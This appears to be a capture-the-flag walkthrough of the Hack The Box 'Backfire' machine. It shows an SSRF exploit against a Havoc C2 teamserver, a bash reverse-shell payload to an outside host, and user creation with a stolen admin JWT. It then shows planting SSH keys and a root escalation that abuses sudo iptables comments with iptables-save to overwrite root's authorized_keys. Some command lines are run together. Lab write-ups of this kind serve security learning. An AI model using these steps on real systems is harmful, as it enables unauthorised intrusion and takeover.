Disable TLS for Websocket management port 40056, so I can prove that sergej is not doing any work Management port only allows local connections (we use ssh forwarding) so this will not compromize our teamserver
# Building Teamserver ## Install additional Go dependencies cd teamserver go mod download golang.org/x/sys go mod download github.com/ugorji/go ## Above command will show error 'not a known dependency' https://github.com/HavocFramework/Havoc/issues/516 go mod download github.com/ugorji/go/codec cd ..
## Build and run make ts-build
### Copy downloaded profile into havoc and named it to havoc2.yaotl cp ~/Downloads/havoc.yaotl havoc2.yaotl ./havoc server --profile ./profiles/havoc2.yaotl -v --debug
# Building the Client make client-build
## Troubleshoot building the client ### cmake not found sudo apt install cmake
### Qt5Config.cmake and Qt5-config.cmake not found sudo apt-get update sudo apt install qtbase5-dev qt5-qmake qttools5-dev-tools libqt5websockets5-dev
# Run the client ./havoc client
We’re able to login into the Havoc but unable to find any useful information. Upon OSINT in-depth found the Havoc have SSRF vulnerability
# Modify the IP, USER and PASSWORD in the exploit.py file code exploit.py
# Host the service python3 -m http.server 80 (On another terminal and payload.py loc) nc -lvnp 4444 (On another terminal)
# Run the exploit python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056
payload.sh
1 2
#!/bin/bash bash -i >& /dev/tcp/10.10.14.24/44440>&1# CHANGE THIS
exploit.sh and now we get the reverse shell!
Initial user foothold
Privilege Escalation
Go to user home directory and there is a .ssh file believe is created by other community user. Here I will use the private key generated and establish SSH connection.
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead burp0_url = f"https://{rhost}/Login/Register" burp0_headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } burp0_json = { "password": "cxk_pentest", # Create new user password "role": "TeamLead", "username": "cxk_pentest"# Create new user name } r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False) print(r.text)
There is another Vulnerability 3: Remote Code Execution (RCE) in the article. After obtaining user with TeamLead role, Attacker can interact with implants and C2 host itself to execute operating system commands
Tried few command, found the user is sergej
Lets write ilya pubkey into sergej user ~/.ssh/authorized_keys
1 2
echo"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHfrkU76dwV8TTLdf3KKle5eKf5j7oSaYTYKJhmqcGqP ilya@backfire" | tee -a /home/sergej/.ssh/authorized_keys ssh -o StrictHostKeyChecking=no -i id_rsa sergej@10.10.11.49
From the user sudo privilege, it does not require password for iptables and iptables-save
From the OSINT, there is a guide which had not been stated in GTFObins and LOLBAS
Using the comment functionality offered by iptables to attach arbitrary comments, containing newlines, to rules.
Leverage iptables-save to dump to a sensitive file the content of the loaded rules, including the comment payloads.
Exploiting step 1 and step 2 to overwrite the /etc/passwd file with an attacker-controlled root entry, crafted with a known password.
Steps 1: Commenting Rules via iptables
1 2 3
sudo iptables -A INPUT -i lo -j ACCEPT sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment "Allow packets to localhost" sudo iptables --list
Now the rules, had been write into the iptables list.iptables also provides a way to simply dump all the loaded rules, by running iptables -S
How much can we control this output? A simple test is to insert a newline
1
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'Allow packets to localhost\nThis rule rocks!'
Now lets check iptables -S
Steps 2: Arbitrary File Overwrite via iptables-save
1
sudo iptables-save
iptables-save and ip6tables-save are used to dump the contents of IP or IPv6 Table in easily parseable format either to STDOUT or to a speci‐ fied file.
It seems iptables-save is preserving the injected newline. Now that we know this, we can proceed to test its functionality by specifying a filename, supplying the -f switch. So we can control arbitary lines on the file written by iptables-save. Since this is running with sudo, the file is owned by root.
We can leverage arbitrary comments containing \n via iptables, and running iptables-save to write arbitrary file as root. So, as to privilege escalation to root user, we can overwrite root user ssh authorized keys
1 2 3
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHfrkU76dwV8TTLdf3KKle5eKf5j7oSaYTYKJhmqcGqP ilya@backfire\n' sudo iptables -S # Validate the pubkey sudo iptables-save -f /root/.ssh/authorized_keys
